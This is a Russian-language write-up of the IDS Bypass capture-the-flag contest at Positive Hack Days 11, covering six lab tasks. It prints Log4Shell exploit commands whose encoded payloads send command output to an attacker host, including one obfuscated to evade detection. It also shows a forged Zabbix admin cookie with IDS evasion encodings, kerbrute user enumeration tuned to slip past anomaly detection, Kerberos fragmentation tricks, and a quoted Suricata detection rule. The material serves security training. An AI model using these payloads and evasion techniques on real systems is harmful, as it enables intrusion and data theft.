Разбор конкурса IDS Bypass на Positive Hack Days 11
конкурс IDS Bypass на конференции Positive Hack Days 11
Конкурс IDS Bypass проходил на конференции Positive Hack Days уже в четвертый раз (разбор одного из прошлых конкурсов). В этом году мы сделали шесть игровых узлов с флагом на каждом. Для получения флага участнику предлагалось либо проэксплуатировать уязвимость на сервере, либо выполнить другое условие, например перебрать списки пользователей в домене.
Сами задания и уязвимости были достаточно простыми. Сложность представлял обход IDS: система инспектирует сетевой трафик от участников специальными правилами, которые ищут атаки. Если такое правило срабатывает, сетевой запрос участника блокируется и бот присылает ему текст сработавшего правила в Телеграм.
И да, в этом году мы попробовали уйти от привычных CTFd и журналов IDS в сторону более удобного телеграм-бота. Для участия необходимо было всего лишь написать боту и выбрать имя пользователя. Затем он присылал OVPN-файл для подключения к игровой сети, и в дальнейшем все взаимодействие (просмотр заданий и игрового дашборда, сдача флагов) происходило только через бота. Этот подход оправдал себя на 100%!
Визуализация конкурса в этом году превзошла все ожидания. На стенде стояло семь ЭЛТ-телевизоров: по телевизору на каждое задание и один для общей информации. На экраны выводились дашборд, информация о числе участников и о количестве взломов сервисов.
Число участников в этом году было рекордным. Отчасти этому способствовало и то, что IDS Bypass был доступен любому участнику онлайн и продолжался ночью: на момент завершения конкурса главное табло показывало 101 участника, примерно четверть из которых решили хотя бы одно задание. В общей сложности IDS Bypass длился почти 30 часов.
Теперь перейдем к разбору заданий.
Задание 1: Log4j (20 очков)
Стоимость задания составляла 20 очков, но уменьшалась на одно очко за каждое решение. Из названия понятно, что необходимо было проэксплуатировать нашумевшую недавно уязвимость Log4Shell в популярной библиотеке log4j. В качестве уязвимого приложения использовался докер-контейнер. Тут же приведен эксплойт:
curl -v http://10.0.0.10:8080 -H 'X-Api-Version: ${jndi:ldap://10.8.0.18:1389/Basic/Command/Base64/d2dldCBodHRwOi8vMTAuOC4wLjE4OjQ0NDQgLS11c2VyLWFnZW50PSIkKHB3ZDsgbHMgLWxhOyBpZmNvbmZpZyki}'
Такую атаку обнаруживает IDS, и участник видит, например, следующее сообщение:
ATTACK [PTsecurity] log4j RCE aka Log4Shell TCP attempt (CVE-2021-44228)
Несколько месяцев назад, вскоре после размещения эксплойта для Log4Shell, стали публиковаться различные его варианты для обхода WAF и IDS. Например, в репозитории на GitHub приведен тот же эксплойт, но с обфускацией управляющих конструкций. Итоговый запрос, который эксплуатирует уязвимость и обходит IDS, может быть таким:
curl -v http://10.0.0.10:8080 -H 'X-Api-Version: ${j${sm:Eq9QDZ8-xEv54:-ndi}${GLX-MZK13n78y:GW2pQ:-:l}${ckX:2@BH[)]Tmw:a(:-da}${W(d:KSR)ky3:bv78UX2R-5MV:-p:/}/10.8.0.26:1389/Basic/Command/Base64/d2dldCBodHRwOi8vMTAuOC4wLjI2OjQ0NDQgLS11c2VyLWFnZW50PSIkKGxzIC1sYSAvOyBjYXQgL2ZsYWcpIg==}'
Отдав полезную нагрузку и приняв подключение к порту 4444, получаем флаг: flag{L0g_FOR_Wh4t?}
Задание 2: Zabbix (20 очков)
Одна из недавно найденных уязвимостей Zabbix — CVE-2022–23131. Эта уязвимость в механизме авторизации SSO позволяет подменить куки и войти в Zabbix без авторизации с учетной записью администратора. Эксплойт размещен на GitHub, и он обнаруживается одним из трех IDS-правил:
ET EXPLOIT Zabbix v5.4.0 - 5.4.8 SSO/SALM Auth Bypass (CVE-2022-23131) M1
ET EXPLOIT Zabbix v5.4.0 - 5.4.8 SSO/SALM Auth Bypass (CVE-2022-23131) M2
ET EXPLOIT Zabbix v5.4.0 - 5.4.8 SSO/SALM Auth Bypass (CVE-2022-23131) M3
Эти правила открыты и доступны для скачивания. Распространяются они вместе с ET Open Ruleset. Вот, например, как выглядит первое правило:
alert http any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Zabbix v5.4.0 - 5.4.8 SSO/SALM Auth Bypass (CVE-2022-23131) M1"; flow:established,to_server; http.uri; content:"/index_sso.php"; startswith; http.cookie; content:"zbx_session="; content:"InVzZXJuYW1lX2F0dHJpYnV0ZSI6"; distance:0; fast_pattern; pcre:"/(?:InNhbWxfZGF0YS|JzYW1sX2RhdGEi|ic2FtbF9kYXRhI)/"; reference:url,blog.sonarsource.com/zabbix-case-study-of-unsafe-session-storage; reference:cve,2022-23131; classtype:trojan-activity; sid:2035371; rev:2; metadata:attack_target Server, created_at 2022_03_02, cve CVE_2022_23131, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2022_03_02;)
Многие участники воспользовались другим популярным эксплойтом. Если раскомментировать в нем строку 62, то эксплойт выводил значение куки zbx_session, которое нужно было задать в браузере:
Cookie: zbx_session= eyJzYW1sX2RhdGEiOiB7InVzZXJuYW1lX2F0dHJpYnV0ZSI6ICJBZG1pbiJ9LCAic2Vzc2lvbmlkIjogImZkYmQ2Y2JiYmIyMTEzM2RmNDM3NmU0YzRhZjc0OTIwIiwgInNpZ24iOiAiRENoZHZWUHBubEZBMEpqVFVDV2lHWkZaZWZ6OU1MMnlxTlpubzVPUkRQeDJDaGhiN0hOVWV1VjRPN2QwYWY5T2d5b09ONjhPYmdOWkgzMGhnV1c3NlE9PSJ9
Таким образом участник должен был попасть в панель администратора Zabbix. Но проделав этот путь, он получал оповещение от IDS:
ET EXPLOIT Zabbix v5.4.0 - 5.4.8 SSO/SALM Auth Bypass (CVE-2022-23131) M1
Чтобы обойти IDS, многие участники закодировали значение куки zbx_session в URL encoding:
Cookie: zbx_session= %65%79%4a%7a%59%57%31%73%58%32%52%68%64%47%45%69%4f%69%42%37%49%6e%56%7a%5a%58%4a%75%59%57%31%6c%58%32%46%30%64%48%4a%70%59%6e%56%30%5a%53%49%36%49%43%4a%42%5a%47%31%70%62%69%4a%39%4c%43%41%69%63%32%56%7a%63%32%6c%76%62%6d%6c%6b%49%6a%6f%67%49%6d%5a%6b%59%6d%51%32%59%32%4a%69%59%6d%49%79%4d%54%45%7a%4d%32%52%6d%4e%44%4d%33%4e%6d%55%30%59%7a%52%68%5a%6a%63%30%4f%54%49%77%49%69%77%67%49%6e%4e%70%5a%32%34%69%4f%69%41%69%52%45%4e%6f%5a%48%5a%57%55%48%42%75%62%45%5a%42%4d%45%70%71%56%46%56%44%56%32%6c%48%57%6b%5a%61%5a%57%5a%36%4f%55%31%4d%4d%6e%6c%78%54%6c%70%75%62%7a%56%50%55%6b%52%51%65%44%4a%44%61%47%68%69%4e%30%68%4f%56%57%56%31%56%6a%52%50%4e%32%51%77%59%57%59%35%54%32%64%35%62%30%39%4f%4e%6a%68%50%59%6d%64%4f%57%6b%67%7a%4d%47%68%6e%56%31%63%33%4e%6c%45%39%50%53%4a%39
Это наглядный пример того, что задания на IDS Bypass могут иметь несколько решений. Изначально задумывался обход конкретного правила. Например, после декодирования мы получаем такое содержимое куки zbx_session:
{"saml_data": {"username_attribute": "Admin"}, "sessionid": "fdbd6cbbbb21133df4376e4c4af74920", "sign": "DChdvVPpnlFA0JjTUCWiGZFZefz9ML2yqNZno5ORDPx2Chhb7HNUeuV4O7d0af9OgyoON68ObgNZH30hgWW76Q=="}
Фрагменты base64 из правила IDS декодируются следующим образом:
"username_attribute":
"saml_data
Поставив пробел перед двоеточием в ключе username_attribute, мы не нарушим структуру json, но обойдем IDS-правило выше. Это тоже приводит к получению флага (поля sessionid и sign необязательны):
Cookie: zbx_session= eyJzYW1sX2RhdGEiIDp7InVzZXJuYW1lX2F0dHJpYnV0ZSIgOiJBZG1pbiJ9LCAic2Vzc2lvbmlkIjoiIiwic2lnbiI6IiJ9
Флаг скрывался в списке пользователей Zabbix.
Задание 3: EVIL.CORP (30 очков)
В тексте задания говорилось о том, что участнику необходимо перебрать список пользователей в домене EVIL.CORP по протоколу Kerberos. Имена пользователей имеют строго оговоренный формат: user[1…16]_[a…z0…9]. Казалось бы, что может пойти не так? Однако в задании упоминалась некая система защиты, основанная на ML…
Для перебора пользователей подойдет любой инструмент (например, kerbrute). Генерируем список пользователей и запускаем перебор:
kerbrute -dc-ip 10.0.0.145 -domain evil.corp -threads 2 -users usernames.txt;
Почти сразу мы получаем оповещения от IDS (по одному на каждый тред). Некоторые участники ставили количество тредов, равное количеству пользователей, но успеха это, конечно, не принесло:
ANOMALY [PTsecurity] Your traffic looks like kerberos user enumeration (Too many usernames). Blocked for 300 seconds
Мы получаем не только срабатывание правила, но и блок на пять минут. Есть время подумать.
Аббревиатура ML в тексте задания нужна только для устрашения. Вместо ML — простой алгоритм, который увеличивает счетчик, если обнаруживает попытки входа под разными пользователями, и уменьшает счетчик, если пользователь повторяется. Срабатывание происходит, если счетчик достигает порогового значения. Для обхода этого алгоритма достаточно добавить каждого пользователя в список три раза подряд. Тогда kerbrute заработает с двумя потоками:
date; /home/user/.local/bin/kerbrute -dc-ip 10.0.0.145 -domain evil.corp -threads 2 -users usernames.txt; date
Fri Apr 29 17:13:47 MSK 2022
Impacket v0.9.24.dev1+20210630.100536.73b9466c - Copyright 2021 SecureAuth Corporation
[*] Valid user => user1_d2
[*] Valid user => user2_de
...
[*] Valid user => user14_51
[*] Valid user => user15_1e
[*] Valid user => user16_33
[*] No passwords were discovered :'(
Fri Apr 29 17:20:27 MSK 2022
Получаем флаг d2de3e88e1fa800fbed902a999511e33 за 6 минут 40 секунд.
Задание 4: WIN-FS98F6 (35 очков)
При выполнении этого задания, просканировав порты узла 10.0.0.21, участник обнаруживал лишь порт 445. Зайдя по SMB на узел любым клиентом, участник находил только одну доступную анонимному пользователю шару:
user@ubuntu1:~$ smbclient.py 10.0.0.21
Impacket v0.9.25.dev1 - Copyright 2021 SecureAuth Corporation
Type help for list of commands
# shares
flag
users
IPC$
# use flag
[-] SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.)
# use users
# ls
-rw-rw-rw- 105 Sat May 7 18:02:48 2022 users.txt
# cat users.txt
I can even publish my credentials here. Our IDS is so good, no one won't get through
sammy:samm3P@ssw0rd
Знание The Lord of the Rings в этом задании ограничивается лишь тем, что пользователя зовут sammy. Предприняв попытку логина под этим пользователем, участник получал оповещение (в файле users.txt ведь написано, что IDS хорошая), причем smbclient из набора samba-tool и smbclient.py из библиотеки Impacket выдавали разные оповещения:
smbclient.py sammy:samm3P@ssw0rd@10.0.0.21
ATTACK [PTsecurity] User sammy login from unknown place
smbclient //10.0.0.21/flag -U Sammy
ATTACK [PTsecurity] User sammy login from wrong place (0%)
Как правило, тот пакет, который блокирует IDS и после которого присылает оповещение, и является причиной этого оповещения. Записав свой сетевой трафик перед алертом, участник обнаруживал, что IDS блокировала пакет NTLMSSP с сообщением NTLMSSP_AUTH.
Сравнив эти пакеты, полученные от двух упомянутых инструментов, можно было обнаружить, что один инструмент (smbclient.py) не задавал значение поля Host name в сообщении NTLMSSP_AUTH, а другой задавал. Узел автора на скриншоте ниже, например, назывался UBUNTU1.
Дело оставалось за малым — перебрать имя узла, начиная с первой буквы, и найти верное. Проценты в названии алерта помогали участнику понять, что он подобрал следующий символ верно. Необходимый узел назывался SAMDESKTOP.
user@ubuntu1:~$ smbclient //10.0.0.21/flag -U sammy
smb: \> ls
flag.txt N 29 Wed May 11 23:38:27 2022
smb: \> get flag.txt
getting file \flag.txt of size 29 as flag.txt (0.3 KiloBytes/sec)
smb: \> exit
user@ubuntu1:~$ cat flag.txt
flag{S4mm3_where_1s_Fr0d0?}
Это задание похоже на один из механизмов обнаружения злоумышленников, когда они используют пользовательские учетные записи с необычных узлов.
Задание 5: ABC (45 очков)
Чем сложнее задание, тем больше его стоимость, и наоборот. Это задание решил лишь один участник — psih1337, тем самым обеспечив себе первое место.
Участникам были даны домен ABC.XYZ и узел с именем DC. Данные учетной записи sammy: samm3P@ssw0rd велено было взять из предыдущего задания. На узле было всего два открытых порта: 88 и 445. Этот набор портов как бы намекал на то, что участнику необходимо было получить Kerberos-билет и с его помощью попасть по SMB в шару. Механизм авторизации NTLM был отключен в этом задании.
smbclient.py -k -dc-ip 10.0.0.233 ABC.XYZ/sammy:samm3P@ssw0rd@DC
После такой команды участник получал оповещение:
ATTACK [PTsecurity] Block TGS request with probably malicious TGT ticket
IDS заблокировала TGS-запрос для сервиса cifs/DC, так как в нем содержался вредоносный TGT-билет. Слово «вредоносный» здесь не имеет прямого значения, а вся фраза лишь помогала участнику обратить внимание на TGT-билет.
Оставалось три часа до окончания конкурса, а решить это задание никто не мог. Тогда были даны две подсказки:
Участник psih1337 смог обойти защиту IDS и добыть флаг, но помогла ему в этом его операционная система (удивительно, но это действительно так): TGS-запрос имеет внушительный размер (около полутора килобайт) и превышает стандартный MTU, поэтому сетевому стеку приходится разбивать один запрос на два TCP-фрагмента. Выглядит это следующим образом:
Блокирующее правило проверяло контент в начале и в конце пакета — так устроены Kerberos-запросы. Пока ОС разбивала пакеты таким же образом, как на картинке, проблем с обнаружением и блокированием атаки не возникало. Однако спустя три TGS-запроса без ответа сетевой стек Windows разбивал запрос на три более мелкие части размером около 500 байт.
Блокирующее правило не справилось с таким трюком и пропустило выдачу TGS-билета. Как результат, был получен флаг. Сетевой стек на Linux ведет себя другим образом и не разбивает пакет на более мелкие фрагменты.
> C:\Python39\python.exe smbclient.py ABC.XYZ/sammy:samm3P@ssw0rd@DC -port 445 -k -debug -dc-ip 10.0.0.233
[+] Trying to connect to KDC at 10.0.0.233
[+] Trying to connect to KDC at 10.0.0.233
[+] Trying to connect to KDC at 10.0.0.233
Type help for list of commands
# use FLAG
# cat flag.txt
flag{Fl4g_was_s0_clos3_but_s0_f4r}
# Bye!
Поскольку заложенный вектор решения не был реализован, задание переносится на следующий IDS Bypass, где описанный способ уже не будет работать.
Задание 6: Flask (25 очков)
Описание задания не соответствует действительности! Оно было самым простым и имело множество решений. На узле был расположен веб-сервер. В форму нужно было ввести IP-адрес, чтобы сервер послал флаг на этот узел.
Введя свой адрес (10.8.0.26), участник получал оповещение:
ATTACK [PTsecurity] IP address in URL. Probably code execution exploit
Механизм срабатывания максимально прост: правило для IDS ищет IP-адрес в строке URL регулярным выражением: \d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}
. Сервер же, напротив, использует введенный пользователем IP-адрес в качестве адреса назначения в Scapy, чтобы отправить ICMP-пакет на указанный узел.
Как известно, существует множество форм представления IP-адреса и многие из них принимаются сетевыми утилитами. Вот те решения, которые мы увидели на конкурсе:
10.8.0000.26
168296474
10.8.0×0.26
Доменное имя
В результате сервер присылал флаг в виде пакета ICMP echo.
Надеемся, участники получили удовольствие, решая это задание.
Итоги
Это был огонь! Борьба за призовые места шла до последней минуты: участник Abr1k0s закончил перебирать пользователей в таске EVIL.CORP за минуту до конца конкурса и ворвался на 3-е место со 111 очками. Тем самым он на одно очко опередил участника, оказавшегося на 4-м месте. Победители получили денежные призы и сувениры.
Результаты:
1️⃣ psih1337 | 2️⃣ OneManTeam | 3️⃣ Abr1k0s |
|